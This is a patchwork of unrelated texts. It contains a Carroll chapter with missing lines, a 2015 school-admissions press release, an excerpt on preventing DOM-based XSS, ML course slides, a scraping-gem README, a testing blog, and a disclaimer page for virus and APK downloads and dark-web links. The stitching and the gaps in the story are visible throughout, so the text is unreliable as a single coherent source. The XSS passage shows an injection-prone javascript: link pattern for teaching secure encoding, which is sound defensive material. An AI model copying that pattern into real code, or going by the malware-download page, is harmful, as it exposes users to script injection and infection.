Sylvie and Bruno Concluded
by Lewis Carroll
Chapter 20: “Gammon and Spinach”
Additional Information
- Year Published: 1893
- Language: English
- Country of Origin: England
- Source: Carroll, L. (1893). Sylvie and Bruno Concluded. London: Macmillan and Co.
-
Readability:
- Flesch–Kincaid Level: 6.5
- Word Count: 3,496
- Genre: Fantasy
- Keywords: 19th century literature, british literature, lewis carroll
- ✎ Cite This
Downloads
My landlady’s welcome had an extra heartiness about it: and though, with a rare delicacy of feeling, she made no direct allusion to the friend whose companionship had done so much to brighten life for me, I felt sure that it was a kindly sympathy with my solitary state that made her so specially anxious to do all she could think of to ensure my comfort, and make me feel at home.
The lonely evening seemed long and tedious: yet I lingered on, watching the dying fire, and letting Fancy mould the red embers into the forms and faces belonging to bygone scenes. Now it seemed to be Bruno’s roguish smile that sparkled for a moment, and died away: now it was Sylvie’s rosy cheek: and now the Professor’s jolly round face, beaming with delight. “You’re welcome, my little ones!” he seemed to say. And then the red coal, which for the moment embodied the dear old Professor began to wax dim, and with its dying lustre the words seemed to die away into silence. I seized the poker, and with an artful touch or two revived the waning glow, while Fancy—no coy minstrel she—sang me once again the magic strain I loved to hear.
“You’re welcome, little ones!” the cheery voice repeated. “I told them you were coming. Your rooms are all ready for you. And the Emperor and the Empress— well, I think they’re rather pleased than otherwise! In fact, Her Highness said ‘I hope they’ll be in time for the Banquet!’ Those were her very words, I assure you!”
“Will Uggug be at the Banquet?” Bruno asked. And both children looked uneasy at the dismal suggestion.
“Why, of course he will!” chuckled the Professor. “Why, it’s his birthday, don’t you know? And his health will be drunk, and all that sort of thing. What would the Banquet be without him?”
“Ever so much nicer,” said Bruno. But he said it in a very low voice, and nobody but Sylvie heard him.
The Professor chuckled again.  I am so glad to see you again!”
“I ‘fraid we’ve been very long in coming,” Bruno politely remarked.
“Well, yes,” the Professor assented. “However, you’re very short, now you’re come: that’s some comfort.” And he went on to enumerate the plans for the day. The Lecture comes first,” he said. “That the Empress insists on. She says people will eat so much at the Banquet, they’ll be too sleepy to attend to the Lecture afterwards— and perhaps she’s right. There’ll just be a little refreshment, when the people first arrive as a kind of surprise for the Empress, you know. Ever since she’s been—well, not quite so clever as she once was—we’ve found it desirable to concoct little surprises for her. Then comes the Lecture—”
“What? The Lecture you were getting ready ever so long ago?” Sylvie enquired.
“Yes—that’s the one,” the Professor rather reluctantly admitted. “It has taken a goodish time to prepare. I’ve got so many other things to attend to. For instance, I’m Court-Physician. I have to keep all the Royal Servants in good health—and that reminds me!” he cried, ringing the bell in a great hurry. “This is Medicine-Day! We only give Medicine once a week. If we were to begin giving it every day, the bottles would soon be empty!”
“But if they were ill on the other days?” Sylvie suggested.
“What, ill on the wrong day!” exclaimed the Professor. “Oh, that would never do! A Servant would be dismissed at once, who was ill on the wrong day! This is the Medicine for to-day, he went on, taking down a large jug from a shelf. I mixed it, myself, first thing this morning. Taste it!” he said, holding out the jug to Bruno. “Dip in your finger, and taste it!”
 Bruno said, as his face resumed its natural shape.
“Nasty?” said the Professor. “Why, of course it is! What would Medicine be, if it wasn’t nasty?”
“Nice,” said Bruno.
“I was going to say—” the Professor faltered, rather taken aback by the promptness of Bruno’s reply, “—that that would never do! Medicine has to be nasty, you know. Be good enough to take this jug, down into the Servants’ Hall, he said to the footman who answered the bell “and tell them it’s their Medicine for to-day.”
“Which of them is to drink it?” the footman asked as he carried off the jug.
“Oh, I’ve not settled that yet!” the Professor briskly replied. “I’ll come and settle that, soon. Tell them not to begin, on any account, till I come! It’s really wonderful”, he said, turning to the children, “the success I’ve had in curing Diseases! Here are some of my memoranda.” He took down from the shelf a heap of little bits of paper pinned together in twos and threes. “Just look at this set, now. Under-Cook Number Thirteen recovered from Common Fever—Febris Communis.’ And now see what’s pinned to it. ’Gave Under-Cook Number Thirteen a Double Dose of Medicine.’ That’s something to be proud of, isn’t it?”
“But which happened first?” said Sylvie, looking very much puzzled.
The Professor examined the papers carefully. “They are not dated, I find,” he said with a slightly dejected air: “so I fear I ca’n’t tell you. But they both happened: there’s no doubt of that. The Medicine’s the great thing, you know. The Diseases are much less important. You can keep a Medicine, for years and years: but nobody ever wants to keep a Disease! By the way, come and look at the platform. The Gardener asked me to come and see if it would do. We may as well go before it gets dark.”
“We’d like to, very much!” Sylvie replied. “Come, Bruno, put on your hat. Don’t keep the dear Professor waiting!”
“Ca’n’t find my hat!” the little fellow sadly replied. “I were rolling it about. And it’s rolled itself away!”
“Maybe it’s rolled in there,” Sylvie suggested, pointing to a dark recess, the door of which stood half open: and Bruno ran in to look. After a minute he came slowly out again, looking very grave, and carefully shut the cupboard door after him.
“It aren’t in there,” he said, with such unusual solemnity, that Sylvie’s curiosity was aroused.
“What is in there, Bruno?”
“There’s cobwebs—and two spiders—” Bruno thoughtfully replied, checking off the catalogue on his fingers, “—and the cover of a picture-book—and a tortoise—and a dish of nuts—and an old man.”
“An old man!” cried the Professor, trotting across the room in great excitement. “Why, it must be the Other Professor, that’s been lost for ever so long!”
He opened the door of the cupboard wide: and there he was, the Other Professor, sitting in a chair, with a book on his knee, and in the act of helping himself to a nut from a dish, which he had taken down off a shelf just within his reach. He looked round at us, but said nothing till he had cracked and eaten the nut. Then he asked the old question. “Is the Lecture all ready?”
“It’ll begin in an hour,” the Professor said, evading the question. “First, we must have something to surprise the Empress. And then comes the Banquet—”
“The Banquet!” cried the Other Professor, springing up, and filling the room with a cloud of dust. Then I’d better go and—and brush myself a little. What a state I’m in!”
“He does want brushing!” the Professor said, with a critical air.  I had put it on by mistake. I’d quite forgotten I had one on, already. Let’s go and look at the platform.”
“And there’s that nice old Gardener singing still!” Bruno exclaimed in delight, as we went out into the garden. I do believe he’s been singing that very song ever since we went away!”
“Why, of course he has!” replied the Professor. “It wouldn’t be the thing to leave off, you know.”
“Wouldn’t be what thing?” said Bruno: but the Professor thought it best not to hear the question. “What are you doing with that hedgehog?” he shouted at the Gardener, whom they found standing upon one foot, singing softly to himself, and rolling a hedgehog up and down with the other foot.
“Well, I wanted fur to know what hedgehogs lives on: so I be a-keeping this here hedgehog—fur to see if it eats potatoes—”
“Much better keep a potato,” said the Professor, “and see if hedgehogs eat it!”
“That be the roight way, sure-ly!” the delighted Gardener exclaimed. “Be you come to see the platform?”
“Aye, aye!” the Professor cheerily replied. “And the children have come back, you see!”
The Gardener looked round at them with a grin. Then he led the way to the Pavilion; and as he went he sang:
“He looked again, and found it was
A Double Rule of Three:
’And all its Mystery’, he said,
‘Is clear as day to me!’ “
“You’vebeen months over that song,” said the Professor. “Isn’t it finished yet?”
“There be only one verse more,” the Gardener sadly replied. And, with tears streaming down his cheeks, he sang the last verse:
“He thought he saw an Argument
That proved he was the Pope:
He looked again, and found it was
A Bar of Mottled Soap.
’A fact so dread’, he faintly said,
‘Extinguishes all hope!’ “
Chokingwith sobs, the Gardener hastily stepped on a few yards ahead of the party, to conceal his emotion.
“Did he see the Bar of Mottled Soap?” Sylvie enquired, as we followed.
“Oh, certainly!” said the Professor.
Tears of an ever-ready sympathy glittered in Bruno’s eyes. “I’s welly sorry he isn’t the Pope!” he said. “Aren’t you sorry, Sylvie?”
“Well—I hardly know,” Sylvie replied in the vaguest manner. “Would it make him any happier?’ she asked the Professor
“It wouldn’t make the Pope any happier,” said the Professor. “Isn’t the platform lovely?” he asked, as we entered the Pavilion.
“I’ve put an extra beam under it!” said the Gardener, patting it affectionately as he spoke. “And now it’s that strong, as—as a mad elephant might dance upon it!”
“Thank you very much!” the Professor heartily rejoined. “I don’t know that we shall exactly require—but it’s convenient to know.” And he led the children upon the platform, to explain the arrangements to them. “Here are three seats, you see, for the Emperor and the Empress and Prince Uggug. But there must be two more chairs here!” he said, looking down at the Gardener. “One for Lady Sylvie, and one for the smaller animal!”
“And may I help in the Lecture?” said Bruno. “I can do some conjuring tricks.”
“Well, it’s not exactly a conjuring lecture,” the Professor said, as he arranged some curious-looking machines on the table. “However, what can you do? Did you ever go through a table, for instance?”
“Often!” said Bruno. “Haven’t I, Sylvie?”
The Professor was evidently surprised, though he tried not to show it. “This must be looked into,” he muttered to himself, taking out a note-book. “And first—what kind of table?”
“Tell him!” Bruno whispered to Sylvie, putting his arms round her neck.
“Tell him yourself,” said Sylvie
“Ca’n’t,” said Bruno. “It’s a bony word.”
“Nonsense!” laughed Sylvie. “You can say it well enough, if you only try. Come!”
“Muddle” said Bruno. “That’s a bit of it.”
“What does he say?” cried the bewildered Professor
“He means the multiplication-table,” Sylvie explained.
The Professor looked annoyed, and shut up his notebook again. “Oh, that’s quite another thing,” he said.
“It are ever so many other things,” said Bruno. “Aren’t it, Sylvie?”
A loud blast of trumpets interrupted this conversation “Why, the entertainment has begun!” the Professor exclaimed, as he hurried the children into the Reception Saloon. “I had no idea it was so late!”
A small table, containing cake and wine, stood in a corner of the Saloon; and here we found the Emperor and Empress waiting for us. The rest of the Saloon had been cleared of furniture, to make room for the guests. I was much struck by the great change a few months had made in the faces of the Imperial Pair. A vacant stare was now the Emperor’s usual expression; while over the face of the Empress there flitted, ever and anon, a meaningless smile.
“So you’re come at last!” the Emperor sulkily remarked, as the Professor and the children took their places. It was evident that he was very much out of temper: and we were not long in learning the cause of this. He did not consider the preparations, made for the Imperial party, to be such as suited their rank. “A common mahogany table!” he growled, pointing to it contemptuously with his thumb. “Why wasn’t it made of gold, I should like to know?”
“It would have taken a very long—” the Professor began, but the Emperor cut the sentence short.
“Then the cake! Ordinary plum! Why wasn’t it made of—of—” He broke off again. “Then the wine! Merely old Madeira! Why wasn’t it—? Then this chair! That s worst of all. Why wasn’t it a throne? One might excuse the other omissions, but I ca’n’t get over the chair!”
“What I ca’n’t get over”, said the Empress, in eager sympathy with her angry husband, “is the table!”
“Pooh!” said the Emperor.
“It is much to be regretted!” the Professor mildly replied, as soon as he had a chance of speaking. After a moment’s thought he strengthened the remark. Everything”, he said, addressing Society in general, “is very much to be regretted!”
A murmur of “Hear, hear!” rose from the crowded Saloon.
There was a rather awkward pause: the Professor evidently didn’t know how to begin. The Empress leant forwards, and whispered to him. “A few jokes, you know, Professor—just to put people at their ease!”
“True, true, Madam!” the Professor meekly replied.  Bruno exclaimed, his eyes filling with tears.
“I wo’n’t if you’d rather I didn’t,” said the kind-hearted Professor. “It was only something about a Ship’s Buoy—a harmless pun—but it doesn’t matter.” Here he turned to the crowd and addressed them in a loud voice. Learn your A’s!” he shouted. “Your B’s!
There was a roar of laughter from all the assembly, and then a great deal of confused whispering. “What was it he said? Something about bees, I fancy—”
The Empress smiled in her meaningless way, and fanned herself. The poor Professor looked at her timidly: he was clearly at his wits’ end again, and hoping for another hint. The Empress whispered again.
“Some spinach, you know, Professor, as a surprise.”
The Professor beckoned to the Head-Cook, and said something to him in a low voice. Then the Head-Cook left the room, followed by all the other cooks.
“It’s difficult to get things started,” the Professor remarked to Bruno. “When once we get started, it’ll go on all right, you’ll see.”
“If oo want to startle people”, said Bruno, “oo should put live frogs on their backs.”
Here the cooks all came in again, in a procession, the Head-Cook coming last and carrying something, which the others tried to hide by waving flags all round it. “Nothing but flags, Your Imperial Highness! Nothing but flags!” he kept repeating, as he set it before her. Then all the flags were dropped in a moment, as the Head Cook raised the cover from an enormous dish.
“What is it?” the Empress said faintly, as she put her spy-glass to her eye. “Why, it’s Spinach, I declare!”
“Her Imperial Highness is surprised,” the Professor explained to the attendants: and some of them clapped their hands. The Head-Cook made a low bow, and in doing so dropped a spoon on the table, as if by accident, just within reach of the Empress, who looked the other way and pretended not to see it.
“I am surprised!” the Empress said to Bruno. “Aren’t you?”
“Not a bit,” said Bruno. “I heard—” but Sylvie put her hand over his mouth, and spoke for him. “He’s rather tired, I think. He wants the Lecture to begin.”
“I want the supper to begin,” Bruno corrected her.
The Empress took up the spoon in an absent manner, and tried to balance it across the back of her hand, and in doing this she dropped it into the dish: and, when she took it out again, it was full of spinach. “How curious!” she said, and put it into her mouth. “It tastes just like real spinach! I thought it was an imitation—but I do believe it’s real!” And she took another spoonful.
“It wo’n’t be real much longer,” said Bruno.
But the Empress had had enough spinach by this time, and somehow—I failed to notice the exact process—we all found ourselves in the Pavilion, and the Professor in the act of beginning the long-expected Lecture.


DfE enquiries
Central newsdesk 020 7783 8300
General enquiries 0370 000 2288
Press release
Schools Minister Nick Gibb called for action - ahead of proposed changes - to allow summer-born children to start in reception aged 5.
Schools Minister Nick Gibb announced the government’s intention to give summer-born children the right to start in reception at the age of 5.
The minister said admissions rules must be changed so children born between April 1 and August 31 cannot be forced to go straight into year 1 if they wait to start school until they turn 5.
He has written an open letter to encourage schools and local authorities to take immediate action, in advance of the proposed changes, and allow summer-born children to start in reception aged 5 if that is what parents want.
The government believes parents and teachers are best placed to decide what is right for their child, and summer-born children should have the same opportunity to excel at school as their peers - even if that means starting reception a year later.
The changes are designed to give parents and teachers flexibility, and the majority of summer-born children will still start school when they turn 4 rather than waiting.
If they do start school later, the children will be able to remain with the same age group as they progress, including into secondary school.
Children usually start school in the September after they turn 4 but parents of summer-born children can ask to delay entry to reception for a year.
Schools and councils often say summer-born pupils must go straight into year 1 and miss out on the reception year altogether - as a result parents can feel pressured to send their child to school before they are ready.
A consultation will now be carried out now and the reforms will have to be approved by Parliament.
In his letter, the minister said that the existing system is not working - with parents and the authorities ‘often failing to agree on what is in the child’s best interests’.
Schools Minister Nick Gibb said:
As part of our plan to extend social justice and opportunity, we want all children to have an equal chance to excel in school regardless of when they are born.
Parents know their children best and we want to make sure summer-born children can start reception at the age of 5, if their parents think it is in their best interests.
We are going to make changes to admission rules - but we want councils and academies to take immediate action.
The school admissions code currently requires the admission authority to make a decision on the year group a summer-born 5-year-old should be admitted to on the basis of the circumstances of the case and in the best interests of the child.
Parents also have the right to send their child to school on a part-time basis before they reach the compulsory school age.
In his letter, the minister wrote:
We have decided that it is necessary to amend the school admissions code further to ensure that summer-born children can be admitted to the reception class at the age of 5 if it is in line with their parents’ wishes, and to ensure that those children are able to remain with that cohort as they progress through school, including through to secondary school.
We will conduct a full public consultation in due course; and subject to Parliamentary approval will introduce these further changes to ensure that no child is forced to start school before they are ready.
Central newsdesk 020 7783 8300
General enquiries 0370 000 2288
Published: 8 September 2015


Common Problems Associated with Mitigating DOM Based XSS
Complex Contexts
In many cases the context isn’t always straightforward to discern.
<a href="javascript:myFunction('<%=untrustedData%>', 'test');">Click Me
...

In the above example, untrusted data started in the rendering URL context (href attribute of an a tag) then changed to a JavaScript execution context (javascript: protocol handler) which passed the untrusted data to an execution URL subcontext (window.location of myFunction).
Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following:
<a href="javascript:myFunction('<%=Encoder.encodeForJS(Encoder.encodeForURL(untrustedData)) %>', 'test');">
Click Me
...
Or if you were using ECMAScript 5 with an immutable JavaScript client-side encoding libraries you could do the following:

<a href="javascript:myFunction('<%=Encoder.encodeForJS(untrustedData)%>', 'test');">Click Me
...

Inconsistencies of Encoding Libraries
There are a number of open source encoding libraries out there:
OWASP ESAPI
OWASP Java Encoder
Apache Commons Text StringEscapeUtils, replace one from Apache Commons Lang3
Jtidy
Your company’s custom implementation.
Some work on a black list while others ignore important characters like “<” and “>”.
Java Encoder is an active project providing supports for HTML, CSS and JavaScript encoding.
ESAPI is one of the few which works on a whitelist and encodes all non-alphanumeric characters. It is important to use an encoding library that understands which characters can be used to exploit vulnerabilities in their respective contexts. Misconceptions abound related to the proper encoding that is required.
Encoding Misconceptions
Many security training curriculums and papers advocate the blind usage of HTML encoding to resolve XSS.
This logically seems to be prudent advice as the JavaScript parser does not understand HTML encoding.
However, if the pages returned from your web application utilize a content type of text/xhtml or the file type extension of *.xhtml then HTML encoding may not work to mitigate against XSS.
For example:

The HTML encoded value above is still executable. If that isn’t enough to keep in mind, you have to remember that encodings are lost when you retrieve them using the value attribute of a DOM element.
Let’s look at the sample page and script:
<form name="myForm" ...>
<input type="text" name="lName" value="<%=Encoder.encodeForHTML(last_name)%>">
...
</form>

Finally there is the problem that certain methods in JavaScript which are usually safe can be unsafe in certain contexts.
Usually Safe Methods
One example of an attribute which is thought to be safe is innerText.
Some papers or guides advocate its use as an alternative to innerHTML to mitigate against XSS in innerHTML. However, depending on the tag which innerText is applied, code can be executed.

The innerText feature was originally introduced by Internet Explorer, and was formally specified in the HTML standard in 2016 after being adopted by all major browser vendors.


Open MCT Style Guide
Text inputs and textareas have a consistent look-and-feel across the application. The input's placeholder
attribute is styled to appear visually different from an entered value.
Use a text input where the user should enter relatively short text entries.
A variety of size styles are available: .lg
, .med
and .sm
. .lg
text inputs dynamically scale their width to 100% of their container's width. Numeric inputs that benefit from right-alignment can be styled by adding .numeric
.
Use a textarea where the user should enter relatively longer or multi-line text entries.
By default, textareas are styled to expand to 100% of the width and height of their container; additionally there are three size styles available that control the height of the element: .lg
, .med
and .sm
.


User Name
Notifications
Person 1
Person 2
Person 3
Person 4
Person 5
Person 6
Person 7
Person 8
Person 9
Person 10
Person 11
Person 12
Person 13
Person 14
Hey! You are paired!!
You
Person


class: center, middle, inverse, title-slide # What is ML? ### Machine Learning with R
Basel R Bootcamp
### October 2019 --- layout: true
        www.therbootcamp.com      Machine Learning with R | October 2019
 --- class: middle, center # What do you think? No Googling :) --- # What is machine learning? .pull-left45[ Machine learning is...
 ...a <high>field of artificial intelligence</high>...

 ...that uses <high>statistical techniques</high>...

 ...to allow computer systems to <high>"learn"</high>,...

 ...i.e., to progressively <high>improve performance</high> on a specific task...

 ...from small or large amounts of <high>data</high>,...

 ....<high>without being explicitly programmed</high>....

 ....with the goal to <high>discover structure</high> or </high>improve decision making and predictions</high>.
 ] .pull-right45[

 from <a<EMAIL_ADDRESS>
 ] --- # ML's origin

 --- # Easy to confuse .pull-left45[ AI is <high>intelligence demonstrated by machines</high>, in contrast to the natural intelligence displayed by humans and animals. Statistics is a <high>branch of mathematics</high> dealing with data collection, organization, analysis, interpretation and presentation. Big Data deals with data sets that are <high>too large or complex</high> to be dealt with by traditional data-processing application software. Data Science is a multi-disciplinary field that uses scientific methods, processes, algorithms and systems to <high>extract knowledge and insights</high> from structured and unstructured data. ] .pull-right45[

 ] --- # Data-driven decisions .pull-left5[
 Predicting Heart Attacks

 You are an intake nurse at an emergency room.
<br2> A patient comes in complaining of chest pain and thinks he is having a heart attack
<br2> <high>How do you decide whether or not the patient is really having a heart attack?</high>

<br2> Predicting Sales

 You are an analyst at a retail corporation.
<br2> The executive team is considering whether or not to open a new retail location in Basel.
<br2> <high>How can you predict what the sales of the new store would be?</high>
 ] .pull-right4[

 from <a<EMAIL_ADDRESS>

 from thirdmanrecords.com
 ] ---

 from cnn.com
 --- # Can we trust our intuition? .pull-left45[

 from amazon.uk
 ] .pull-right45[

 from <a<EMAIL_ADDRESS>

 from thirdmanrecords.com
 ] --- # Problems with intuition .pull-left45[ Intuition...

 What problems arise from trusting one's intuition?
 ] .pull-right45[

 from <a<EMAIL_ADDRESS>

 from thirdmanrecords.com
 ] --- # Problems with intuition .pull-left45[ Intuition...
 ...might not tell you anything about <high>how the prediction</high> has been made.

 ...could be based on <high>reasons other than accuracy</high>, e.g., self protection.

 ...impossible to know if <high>critical information is being ignored</high>.

 ...is <high>difficult to reproduce</high> and rarely permits rigorous evaluation.

 ...can always be <high>defended in hindsight</high>.
 ] .pull-right45[

 from <a<EMAIL_ADDRESS>

 from thirdmanrecords.com
 ] --- # Machine learning is data-driven .pull-left45[ Data-driven, ML-based heart rate prediction Based on <high>data</high> from past patients <high>at this hospital</high>, a <high>regression model</high>, using the patient's <high>age, cholesterol level, and ecg</high>, <high>predicts</high> the probability that this patient is having a heart attack is only <high>45%</high>.

 ] .pull-right45[

 from <a<EMAIL_ADDRESS>

 from thirdmanrecords.com
 ] --- # Benefits of ML .pull-left45[ Machine learning algorithms....

 What are benefits of machine learning?
 ] .pull-right45[

 from <a<EMAIL_ADDRESS>

 from thirdmanrecords.com
 ] --- # Benefits of ML .pull-left45[ Machine learning algorithms....
 ...can integrate all available <high>data</high>.

 ...make <high>explicit, reproducible, and quantitative</high> predictions of variables of interest.

 ...can tell you <high>which variables are important</high> and which are not.

 ...can give you <high>probability estimates</high>, and estimated errors, rather than single decisions or point estimates.

 ...can reveal <high>novel insights</high> about your data.

 ...can be <high>automated</high>.
 ] .pull-right45[

 from <a<EMAIL_ADDRESS>

 from thirdmanrecords.com
 ] --- .pull-left3[ # Types of machine learning tasks There are many types of machine learning tasks, each of which call for different models. <high>We will focus on supervised machine learning</high>. ] .pull-right65[

 from amazonaws.com
 ] --- # Data terminology .pull-left5[

  Term 	  Definition 	  Example

  Case 	  A specific <high>observation</high> of data. 	  A patient, a site, etc.

  Feature 	  An measurable <high>property</high> of cases. Also called predictors. 	  Age, temperature, country, etc.

  Criterion 	  The <high>feature</high> that you want to <high>predict</high>. 	  Heart attack, sales, etc.

  Data 	  Typically <high>rectangular</high> representation of cases (rows) and features (columns). 	  <mono>.csv</mono>, <mono>.xls</mono>, <mono>.sav</mono>, etc.

 ] .pull-right4[

 ] --- # Supervised learning .pull-left5[ The <high>dominant type</high> of machine learning. Supervised learning uses <high>labeled data</high> to learn <high>a model</high> that relates the criterion to the features.
 Verbal model <mono>if cp (chest pain) is not a (asymptomatic) and age is larger than 60 then high probability of hearth attack, otherwise low probability.</mono> ] .pull-right4[

 ] --- # 3 key (supervised) models

 --- # 2 types of supervised problems .pull-left5[ There are two types of supervised learning problems that can often be approached using the same model. Regression Regression problems involve the <high>prediction of a quantitative feature</high>. E.g., predicting the cholesterol level as a function of age. Classification Classification problems involve the <high>prediction of a categorical feature</high>. E.g., predicting the type of chest pain as a function of age. ] .pull-right4[

 ] --- # Unsupervised learning .pull-left5[ Analyzes the relationships among cases (<high>clustering</high>) or among features (<high>dimensionality reduction</high>) to <high>discover structures</high> such as groups or meta-features.

  Approach 	  Description 	  Example

  Clustering 	  Analyze distances between cases to identify <high>clusters of homogeneous cases</high>. 	  Types of customers or patients.

  Dimension-
ality reduction 	  Analyze correlations between features to identify <high>higher order features</high>. 	  Dimensions of personality or user experience.

 ] .pull-right4[

 ] --- # Reinforcement learning .pull-left5[ <high>Learns iteratively</high> from minimal supervision provided by <high>performance feedback</high>. RL is closely <high>related to psychological theories of learning</high>. Examples
 <col width="30%"> <col width="70%">
  Application 	  Description

  Model fitting 	  Iteratively <high>change model parameters</high> to improve prediction.

  Robot movements 	  Iteratively <high>change movement</high> patterns to increase pancake-catch probability.

  Games 	  Iteratively <high>change controller input</high> patterns to improve Mario Kart racing time.

 ] .pull-right4[

 from giphy.com

 from nvidia.com
 ] --- # Reinforcement learning .pull-left5[ <high>Learns iteratively</high> from minimal supervision provided by <high>performance feedback</high>. RL is closely <high>related to psychological theories of learning</high>. Examples
 <col width="30%"> <col width="70%">
  Application 	  Description

  Model fitting 	  Iteratively <high>change model parameters</high> to improve prediction.

  Robot movements 	  Iteratively <high>change movement</high> patterns to increase pancake-catch probability.

  Games 	  Iteratively <high>change controller input</high> patterns to improve Mario Kart racing time.

 ] .pull-right4[

  ] --- # Machine learning is more than algorithms

 from houseofbots.com
 --- class: middle, center
Schedule


Nokia is getting ready to launch its first ever Smart TV
Style and smarts
by Chris KerrWorld famous brick merchant Nokia is briefly pivoting away from mobiles to launch its first ever Smart TV, and has graciously given Indian retailer Flipkart the rights to use its brand on a new intelligent gogglebox simply dubbed the Nokia Smart TV ($589). The 55in television features a 4K LED display with a wide colour gamut and intelligent dimming for "life-like picture quality," and also boasts a TruSurround Sound and Dolby Audio speaker system provided by the folks over at JBL. The (almost) bezel-less screen is powered by a quad-core processor and runs on Android 9.0 with built-in Chromecast, meaning it should be every bit as smart as the name suggests. Unfortunately, the Nokia Smart TV is only due to launch in India at the moment, so keep your fingers crossed for a proper international launch in the future.


My name is Brooke Masters, I am getting my bachelor’s degree in creative technologies at Illinois State University. I am a digital and traditional artist; I use Procreate and Photoshop. I develop webpages and have am interested in Game design.


Scrapes
Scrapes is a framework for crawling and scraping multi-page web sites.
Unlike other scraping frameworks, Scrapes is designed to work with “dirty” web sites. That is, web sites that were not designed to have their data extracted programmatically.
It includes features for both the initial development of a scraper, and the continued maintenance of that scraper. These features include:
- Rule based selection and extraction of data that can use CSS selectors or pseudo XPath expressions
- Caching system so that during development you don’t have to continuously download pages from a web server while you experiment with your selectors and extractors
- Validation system that helps detect web site changes that would otherwise invalidate your extraction rules
- Support for initiating a session with the web server, and passing session cookies back to the web server
- When all else fails, you can run a web page through the xsltproc XSLT processor to generate an XML document that can then be run through your rule based parser
- Useful set of post-processing methods such as normalize_name
Installing Scrapes
gem install scrapes --include-dependencies
Dependencies
- Hpricot: code.whytheluckystiff.net/hpricot/wiki/AnHpricotShowcase
- Rextra: rubyforge.org/projects/rextra2/
Quick Start
You start by writing a class for parsing a single page:
# process the Google.com index.html page class GoogleMain < Scrapes::Page # make sure that the :about_link rule matched the web page validates_presence_of(:about_link) # extract the link to the about page rule(:about_link, 'a[@href*="about"]', '@href', 1) end # process the Google.com about page class GoogleAbout < Scrapes::Page # ensure the :title rule below matches the web page validates_presence_of(:title) # extract the text inside the <title></title> tag rule(:title, 'title', 'text()', 1) end
Then you start a scraping session and use those classes to process the web site:
Scrapes::Session.start do |session| session.page(GoogleMain, 'http://google.com') do |main_page| session.page(GoogleAbout, main_page.about_link) do |about_page| puts about_page.title + ': ' + session.absolute_uri(main_page.about_link) end end end
On my machine, this code produces:
About Google: http://www.google.com/intl/en/about.html
For more information, please review the following classes:
Development Tips
Add something like this to your .irbrc:
require 'rubygems' require 'yaml' require 'open-uri' require 'hpricot' require 'scrapes' def h(url) Hpricot(open(url)) end
Then use like this in irb to understand how Hpricot selectors work:
doc = h 'http://www.foobar.com/' links = doc.search('table/a[@href]') # for example
To understand the text extractors:
texts(links) word(links.first) # etc..
Converting normal Xpath to Hpricot Xpath, sort of:
There are various add-ons to firefox, for example, that display the Xpath to a selected node. Hpricot uses a different sytanx however, (code.whytheluckystiff.net/hpricot/wiki/SupportedXpathExpressions). The following method is a first try at the conversion:
def xpath_to_hpricot path path.split('/').reject{|e|e=~/^(html|tbody)$/ or e.blank?}.map do |e| res = e.sub(/\[/,':eq(').sub(/\]/,')') res.sub(/\d+/, (/(\d+)/.match(res).to_s.to_i - 1).to_s) end.join('//') end
Hpricot bugs
- This selector will hang, ‘a[href=“this”]’ and this one won’t, ‘a[@href=“this”]’. Just make sure you have the ’@’ in front of the attribute name.
Credits
- Peter Jones, author and maintainer
- Michael Garriss, author and maintainer
- Bob Showalter, continuous improvements and maintenance
- Assaf Arkin, rule inspiration from trac.labnotes.org/cgi-bin/trac.cgi/wiki/Ruby/MicroformatParser


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This is a chart of Max Temperature versus City Latitude. Note the increase in the Max Temperature as the latitude approaches zero (the Equator)
The cities selected in for this analysis had specific wind speeds, humidity, temperature and cloudiness recorded for each.
Matplotlib and Pandas dataframes were used to assist in the analysis and data was extracted using an API call to Open Weather Map.
Open Weather's website Open Weather Map


Unit Testing Patterns for Asynchronous Networking Communications
A common issue I always run into is how to test asynchronous methods, especially networking calls. I used test the result of the calls, such as the parsing of return data, because testing the entire method proved impossible. I recently read an article from the excellent objc.io publication on asynchornous testing. By combining the patterns used in this article with some refactoring, I finally have my networking code under unit tests. Here’s what I did.
Architecture
First, I will detail how my app was architected prior to setting up unit tests. I use AFNetworking to handle all API calls, and make use of the AFHTTPClient to centralize all calls to a specific base URL. The HTTPClient would be a singleton, and each service call would be passed a typed return block to execute on completion or failure. Here is an example for a service call to get a list of items:
In my header:
1 2 3 4 5 6 7 |
|
And the implementation:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
|
This same pattern is used each time I want to make a call into my API, and a new call is set up for each endpoint. The pattern works well, and has proven itself useful. However, it always felt like the APIClient class was doing a little too much work, and had too much knowledge of the internals of parsing the JSON data returned. This proved to be true once I attempted to apply tests to these methods.
Building the Tests
The first lesson learned: always test and code at the same time (preferably in that order)! This is about the tenth time I have told myself I was too time constrained to write tests while I was coding. In hindsight, it usually means I’ll be doing some heavy refactoring after I start writing tests. The tests always show that the code I wrote quickly is too interdependent, and needs to be broken down more into logical components.
In order to separate concerns and to facilitate mocking data parsing responses, I began to move data parsing code and logic into a separate helper class. This class would be responsible for the following:
- Parse the JSON response
- Report success ior failure
- Create and populate data model objects out of the response
- Save the objects to core data
- Return core data object(s) from the call after parsing and saving is complete
So with that in mind, the above code changes implementation to look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
|
This allows me to mock the DataProcessingManager object and tell it what to return. Putting this all together, I now have a way of testing asynchronous API calls with test data and validating that my networking calls are doing the right thing in response to different scenarios. After this change, one of my tests against this networking call would look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
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I am making use of the following helper methods in my test class:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|
Final note
To enable testing asynchronous calls, I relied heavilt on the excellent 2nd issue of objc.io . From that article, I was introduced to the OHHTTPStubs and SenTestingKitAsync library.
Some other libraries I am making use of here: - MagicalRecord - OCMock
This is a work in progress, but has been the best thing I’ve been able to come up with so far. It definitely relieves some pain for me.
Best of luck testing, and drop me a comment here with any additional tips/suggestions!


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We do not take responsibility for any damage, or legal issues, done with these files here at AT Products LLC, Ethical Hacking Society, The Script Community, CodingHome, or Noodle Hackerspace.
Use a virtual machine if it's a computer virus, and never open them on your physical machine. As a pre-caution, download them on your VM.
If it's a APK file, use a emulator.
More information on Virtual Machines (VM)
More information on APK Emulators
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Visit these links at your own risk, scammers and weirdos are common!
Use the Onion Browser, or the Tor Browser to browse the dark web.
